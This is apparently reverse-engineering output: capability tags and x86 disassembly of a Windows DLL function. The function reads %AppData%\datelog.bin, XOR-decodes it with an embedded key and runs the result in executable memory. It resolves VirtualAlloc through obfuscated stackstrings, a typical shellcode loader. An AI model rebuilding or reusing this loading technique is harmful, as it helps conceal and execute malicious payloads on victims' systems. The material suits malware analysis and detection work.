Function at 0x10002270
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001ceb0
mov eax, dword fs:[0]
push eax
sub esp, 0x214
mov eax, dword [0x1002a080]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x104
lea eax, [ebp - 0x148]
push eax
push str.AppData
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea ecx, [ebp - 0x148]
dec ecx
nop dword [eax]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x100022c0
mov eax, dword [str.datelog.bin]
mov dword [ecx], eax
mov eax, dword [0x10024ff8]
mov dword [ecx + 4], eax
mov eax, dword [0x10024ffc]
mov dword [ecx + 8], eax
mov al, byte [0x10025000]
push 0xb8
mov byte [ecx + 0xc], al
lea eax, [ebp - 0x200]
push 0
push eax
call fcn.10007680
lea eax, [ebp - 0x148]
push eax
lea ecx, [ebp - 0x200]
call fcn.100034c0
mov eax, dword [ebp - 0x200]
mov eax, dword [eax + 4]
test byte [ebp + eax - 0x1f4], 6
jne 0x100024ff
push 2
sub esp, 8
lea ecx, [ebp - 0x200]
call fcn.10003a70
lea eax, [ebp - 0x220]
push eax
lea ecx, [ebp - 0x200]
call fcn.10003970
push 0
sub esp, 8
lea ecx, [ebp - 0x200]
mov ebx, dword [eax + 8]
add ebx, dword [eax]
call fcn.10003a70
push ebx
call fcn.10005ced
mov esi, eax
lea ecx, [ebp - 0x200]
add esp, 4
mov dword [ebp - 0x204], esi
mov eax, ebx
cdq
push edx
push eax
push esi
call fcn.10003bb0
lea ecx, [ebp - 0x1f0]
call fcn.10004270
test eax, eax
jne 0x100023b6
mov eax, dword [ebp - 0x200]
lea ecx, [ebp - 0x200]
push 0
add ecx, dword [eax + 4]
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.10001cc0
push 0xa
lea eax, [ebp - 0x3c]
push esi
push eax
lea edi, [esi + 0xa]
call fcn.1000b040
add esp, 0xc
mov byte [ebp - 0x32], 0
push ebx
call fcn.10005ced
mov edx, eax
add esp, 4
xor eax, eax
test ebx, ebx
jle 0x10002401
sub edi, edx
mov esi, ebx
xor ecx, ecx
lea edx, [edx + 1]
cmp eax, 0xa
cmovne ecx, eax
mov al, byte [ebp + ecx - 0x3c]
xor al, byte [edx + edi - 1]
dec al
mov byte [edx - 1], al
lea eax, [ecx + 1]
sub esi, 1
jne 0x100023e1
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 0x74726956
push eax
lea eax, [ebp - 0x30]
mov dword [ebp - 0x1c], 0x416c6175
push eax
mov dword [ebp - 0x18], 0x636f6c6c
mov byte [ebp - 0x14], 0
mov dword [ebp - 0x30], 0x6e72656b
mov dword [ebp - 0x2c], 0x32336c65
mov dword [ebp - 0x28], 0x6c6c642e
mov byte [ebp - 0x24], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40
push 0x1000
push ebx
push 0
call eax
push ebx
push dword [ebp - 0x204]
mov esi, eax
push esi
call fcn.100070f0
add esp, 0xc
call esi
mov eax, dword [ebp - 0x200]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x200]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x204], eax
lea ecx, [ebp - 0x1f0]
call fcn.10003160
mov eax, dword [ebp - 0x200]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x200]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0x204], eax
lea eax, [ebp - 0x190]
mov dword [ebp - 4], 0
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.100053d4
add esp, 4
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10005a9c
mov esp, ebp
pop ebp
ret
push 0
call fcn.1000a793
int3